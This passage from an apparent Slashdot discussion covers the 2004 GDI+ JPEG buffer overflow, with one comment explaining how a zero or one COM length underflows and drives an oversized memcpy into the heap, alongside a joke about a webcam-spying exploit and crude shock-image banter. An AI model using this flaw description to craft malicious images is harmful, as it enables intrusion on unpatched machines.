    I have tried switching the order of these to each other and the problem absolutely stems from here.
    AP4 to AP3: 0100 0311 0211 - there is a red/blue hue difference between most programs and IE.
    AP4 to AP2: 0100 0211 0311 - there is no difference between the programs and IE.
    AP3 to AP4: 0311 0211 0100 - IE CRASH!
    AP3 to AP2: 0100 0211 0311 - there is no difference, but the red/blue hue switch appears in BOTH normal programs and IE. In other words, AP3 appears the same in IE with both settings.

    This last result makes me think IE is somehow trying to re-order these in ascending Component ID order, and this causes the errors.

    One thing the JFIF document I found doesn't mention is that the order of these components matters. Changing the order always makes the jpeg appear different (sort of like a newspaper comic with the inks misaligned) in non-IE programs. If anyone knows more about this, please respond.
  129. Advantages by Pan+T.+Hose · · Score: 1

    Haven't they discovered the advantages of shared objects and dynamic linking yet?

    Hey. This is Slashdot. Until some amateur clones an idea and offers it for free with no support, it doesn't exist.

    I know that Microsoft has already cloned the idea (though I wouldn't call them amateurs--even if their software is hardly proffesional, I think at least some of their developers are actually quite competent programmers). The idea itself is at least as old as the Michigan Terminal System from the 60s, so basically everyone has already cloned it, including GNU in the 80s and Microsoft in the 90s, but than was not my point. I wasn't asking whether they had discovered shared objects and dynamic linking, but whether they had discovered the advantages thereof, which in that context obviously means the security and patching related ones. As Julesh has pointed out, they apparently have not, so as it turns out my question wasn't so "troll" as someone thought while mistakenly rating it as such.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  130. Apparently not by Pan+T.+Hose · · Score: 1

    Haven't they discovered the advantages of shared objects and dynamic linking yet?

    I thought that was the whole point of DLLs ?? Dynamic Link Library, right??

    Apparently the advantages of dynamic linking (at least the security and patching related ones) must not have been the whole point of using DLLs by Microsoft.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  131. Unbelievable by Pan+T.+Hose · · Score: 1

    The problem exists in GDIPLUS, which is a DLL of which, for some bizarre reason known only to MS, an additional copy is installed for each application that uses it. Bizarre, but true.

    This is really hard to believe. Do you know the rationale (or should I say irrationale?) behind this unbelievable and unheard-of practice?

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  132. Explanation of this very, very stupid bug by Shmibbon · · Score: 1
    From Microsoft GDIPlus.DLL JPEG Parsing Engine Buffer Overflow:

    Because the JPEG COM field length variable is 2 bytes wide, and itself is included in the length value, the minimum value for this field is 2, this implies an empty comment. If the comment length value is set to 1 or 0, a buffer overflow occurs overwriting heap management structures.

    The problem is GDIPlus normalizes the COM length prior to checking it's value; a starting length of 0 becomes -2 after normalization (0xFFFE unsigned), this value is converted to the 32 bit value 0xFFFFFFFE and is eventually passed on to memcpy which attempts to copy ~4G bytes into heap memory.

    ...and since the COM field can be in the header, memcpy loads almost the entire jpeg file into heap memory, which can have executable code in it that'll be run when the buffer overflows.

    The solution to this problem? How about ONE SIMPLE ERROR CHECKING ROUTINE to watch for an incorrect value in the COM field length?

    And here's the kicker: remember the problem Netscape had with jpeg files, 4 years ago? This is the same exact thing.
  133. Re:troll. by Reziac · · Score: 1

    Unfortunately, I've noticed the same thing -- on my lowly P3-550/Win98, Moz 1.5 is WAAAAY slower at rendering pages, both text and images, than are IE5 and NS3 (the latter being my everyday browser). On my near-identical WinXP box, same thing -- Moz 1.5 renders pages much slower than IE6 or NS 3/4/6.0. (Both boxes have 1GB of RAM, so THAT is not the issue. And we won't even look at relative startup times.. egads!!) Oddly, Firefox was even slower than Mozilla.

    I have no idea why this would be, and was both surprised and disappointed at the discovery. Especially since I detest IE..!!

    Someone with a faster machine might not see the difference, tho. And I've noticed there is often a serious chunk of wishful thinking when FOSS is involved, which does nothing toward improving FOSS software. You gotta admit your bugs exist before you can fix 'em.

    --
    ~REZ~ #43301. Who'd fake being me anyway?
  134. Fix buffer overrun vulnerabilities at a stroke... by GrahamCox · · Score: 1

    Hardware manufacturers just need to design the CPUs to use a separate area for the return address stack that isn't cluttered with data. What is the problem with doing this?

  135. Command Line Scanner to ID vulnerable dll's by Glamdrlng · · Score: 1

    ISC has published a scanner to identify vulnerable files. Has both a GUI and a command line option. Use a little creative scripting and you can use this to find vulnerable hosts on your network. Patch early, patch often...

    --

    Yes, my only tool is a hammer. And you're starting to look like a nail.
  136. Ergo by PingPongBoy · · Score: 1

    Was going to say "Just looking at the source code caused a buffer overflow" but I thought of something better. How about "Odd that the bug was fixed in SP2 but no one talked about it until after SP2 was released - JPEG viewing being such a common activity a patch should have been released long ago." I hope that was a valid point but if not, well I might just say "Do you smell what the Rock is cooking?"

    Inspection of the source code leads me to believe that I should scan jpegs before viewing. I don't trust patches. It seems there is a lot of suspect software needing patching - how do I know if I patched everything?

    Is it enough to look for FF FE 01 or FF FE 00 around the header?

    --
    Know your pads. One time pad: good for cryptography. Two timing pad: where to take your mistress.
  137. Jesus Christ by tacokill · · Score: 1

    Are you kidding me? JPEG's? Seriously, how hard is it to render an image?

    I ask in all sincerity because I don't know. But I do have enough code experience to realize that a NON EXECUTABLE program (ie: data) shouldn't be a source for an exploit. I mean c'mon. It's like we've learned nothing over the last 30 years of computer engineering.

  138. Interesting idea by Pan+T.+Hose · · Score: 1

    I've come up with the ultimate computer exploit, ever. You make a jpg of goatse, with this exploited code in it. The exploit code runs an application which activates any webcams, if present, and starts taking pictures, which it then sends back to the 31337 h4x0r.

    Very interesting idea. Seriously. Drop me a line if you implement it or know anyone who does. I might use it in a feces recognition study.

    Think of it, an entire gallery of horrified faces, kinda like in The Ring when people's faces went all nasty after watching the video.

    And still the most horrifying would be the faces not horrified... "I am a proctologist! I swear! That is why I was not horrified!" Yeah, right!

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  139. lol by moby · · Score: 1

    crash my computer ...
    it loaded in about 1/2 second and i didn't even notice because IE autoresized it to fit the screen

  140. Female genitalia? by Pan+T.+Hose · · Score: 1

    Are you seriously suggesting that anyone might have taken male rectum and colon for female genitalia with cervix? And penis for clitoris? Seriously? (Thanks, I have just lost my apetite. And lust, for that matter.) This is 21st century and one doesn't have to "be with a girl" (by which I assume you mean cunnilingus) or "be with a man" for that matter (by which I mean anilingus) to know the human anatomy well enough to know the difference between anus and vulva. There is a reason we have Wikipedia and Google Images and that reason is universal access to human knowledge, without the need for everyone to reinvent the wheel and rediscover said knowledge over and over again, like it was the case in previous, less fortunate centuries.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
    1. Re:Female genitalia? by mikefe · · Score: 1

      I posted that because I thought it was funny that I read somewhere (some thing explaining the history of goatse.cx...) that some thought the person in the picture had *both sexes*, which in my book is just funny.

      Maybe I shoulda said "middle door"...

      --
      There: Something at a specific location.
      Their: Owned by someone.
      Please make sure your english compiles.
  141. Re:troll. by Old+Wolf · · Score: 1

    IE appears to start up fast because most of its library code is already in memory (it was started during the Windows boot process). Third party developers can't compete with that. For a more meaningful comparison, enable Mozilla's "live in systray" thingy, then once the PC has finished booting, open it and you will find it appears quickly.

    Also, I believe that Firefox doesn't use, or doesn't have access to, the same fast rendering OS-level libraries that IE uses (although this could, of course, be FUD).

    FWIW I find the latest Firefox to be nearly comparable in speed to IE (what's lost in delays is made up for in other ways, AFAIC)

  142. We suck by Anonymous Coward · · Score: 0

    After reading this thread I came (pun not intended) to the conclusion that we are all losers with no life. And even writing it I just *had* to made another lame ass (pun not intended -- no, I did it again!) joke! God, how I suck...

  143. Re:Only for Office users by slashdot.org · · Score: 1

    Actually, with XP SP2, Outlook Express also does NOT load images by default.

    My mom complained after installed SP2 on her machine. I was very pleased to see that Microsoft is at least improving _some_ things.

  144. The hell? by Fantastic+Lad · · Score: 1
    Oh god, I just posted this in a tongue in cheek replay to the grandparent, but someone actually proposed it seriously.

    I generally forgive and make allowances when I can actually manage to wade through broken grammar, screwed up wording and bent idea structures to find some germ of meaning, but in this case I can't figure out at all the message being attempted here.

    Honestly. Every layer of pre-filtering I need to apply to an incompetent post moves my eyebrow up another notch on the, 'Who is this loser?' scale.


    -FL

  145. It crashes PSP7 also! by grolschie · · Score: 1

    It also crashes Jasc Paintshop Pro 7.04 so I guess you cannot blame Microsoft for that one!

  146. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  147. About your sig. by Anonymous Coward · · Score: 0
    Wait until a comment is rated before you mod it overrated.

    No, your criticism is invalid because the Karma Bonus is a form of rating a.k.a. self-moderation. You have been giving all of your comments the +1 Karma Bonus. Unless you are sure you have something amazingly interesting to say, it is better to post comments at a +1 score by clicking the "No Karma Bonus" option before you post. If you choose the Karma Bonus without a very good reason, you will have to learn to accept the risk of being modded as "Overrated". Be prepared...

  148. Objections. . . by Fantastic+Lad · · Score: 1
    Lets apply Occam's razor to your theory:

    Occam the monk who created his 'razor' in order to prove the existence of God? THAT Occam? Is THAT the 'air-tight' system of logic you want to use here?

    I was only joking when I pulled Occam out in my post, but since you want to raise the same thing here, well, I asked first, and I haven't seen any answer yet. In fact, I've yet to see any evidence that a single point or argument I've made has been considered.

    The question you pose:

    Is it more plausible that:

    1) The U.S. government conspired with Microsoft and independent OSS software developers all over the world to develop buffer overflow bugs to distract people from the coming election in the hope that a buffer overflow bug would sway them to vote one way or the other (or not vote) in order to get a particular candidate elected (presumably Bush)

    That's your straw man, not mine. While I do write with a lot of thunder, there is sound logic and thought behind my words.

    If you do bother to go back and read what I DID say, and if you still have objections, then please do come back and present them. --But I would request that you don't deliberately mis-interpret my words or twist my intent.


    -FL

  149. Now I get it by Pan+T.+Hose · · Score: 1

    I posted that because I thought it was funny that I read somewhere (some thing explaining the history of goatse.cx...) that some thought the person in the picture had *both sexes*, which in my book is just funny.

    Yes, now I remember. I've read about in the Goatse.cx article on Wikipedia:

    "Some have claimed that 'he' is actually a hermaphrodite, and he is actually pulling open his vagina. The developer of this theory later admitted that the theory was never intended to be serious, though some continue to believe the theory is correct."

    So indeed, your comment was not only funny but actually encyclopædicly accurate at the same time--now I understand it.

    Maybe I shoulda said "middle door"...

    It probably depands on whether we might call penis a door. That's an interesting question, actually, even more philosophical than anatomical in nature, considering the social role of penis.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  150. Now just one Kodak moment, please! by tommywho70x · · Score: 0

    It surprises me that all you expreet nerd-nics always want to out-slick the Exploiter, Outloaf Express and msn g-wiz, bill, give us a break, would you please, but nobody seems to notice the Kodak Imaging for Windows lurking in the shadows of every image since 1997 to leave good old ONE MICROSOFT WAY headed for everywhere else fastfat.

    Congratulations! You've got photos from AOL chock full of bugs Plus! Extreme YAHOO! the phuck do you think you are sending e-mail to:/????">>(edit)SBC Red Light District Prodigy PIM PING MAILLINK
    Best of Web Hookers & Johns PROSTITUTION.CHM:%1
    Solicitor General E-STUPID:%2Idiot[PROOF]sheet?%%

  151. Re:troll. by Reziac · · Score: 1

    I know about both IE's half-loaded-all-the-time and Moz's systray thing... Moz still starts slow, tho that does improve matters if one can use it. (It's too much of a resource hog to do that on any non-NT Windows.) That's why I only mentioned startup in passing, cuz there's no good way to compare 'em, given IE's native cheat. -- But I was still amazed and disappointed at how slow Moz is at rendering stuff... even given guaranteed equal LOAD times, like pages from local disk. :(

    I haven't looked at Firefox in a couple versions, tho I suppose I should do so again, since I actively discourage my clients from using IE.

    I suppose I could do with browsers what I do with modems... "You can use any one you want, but I'll only support [brand of MY choice]". Makes 'em switch every time!

    --
    ~REZ~ #43301. Who'd fake being me anyway?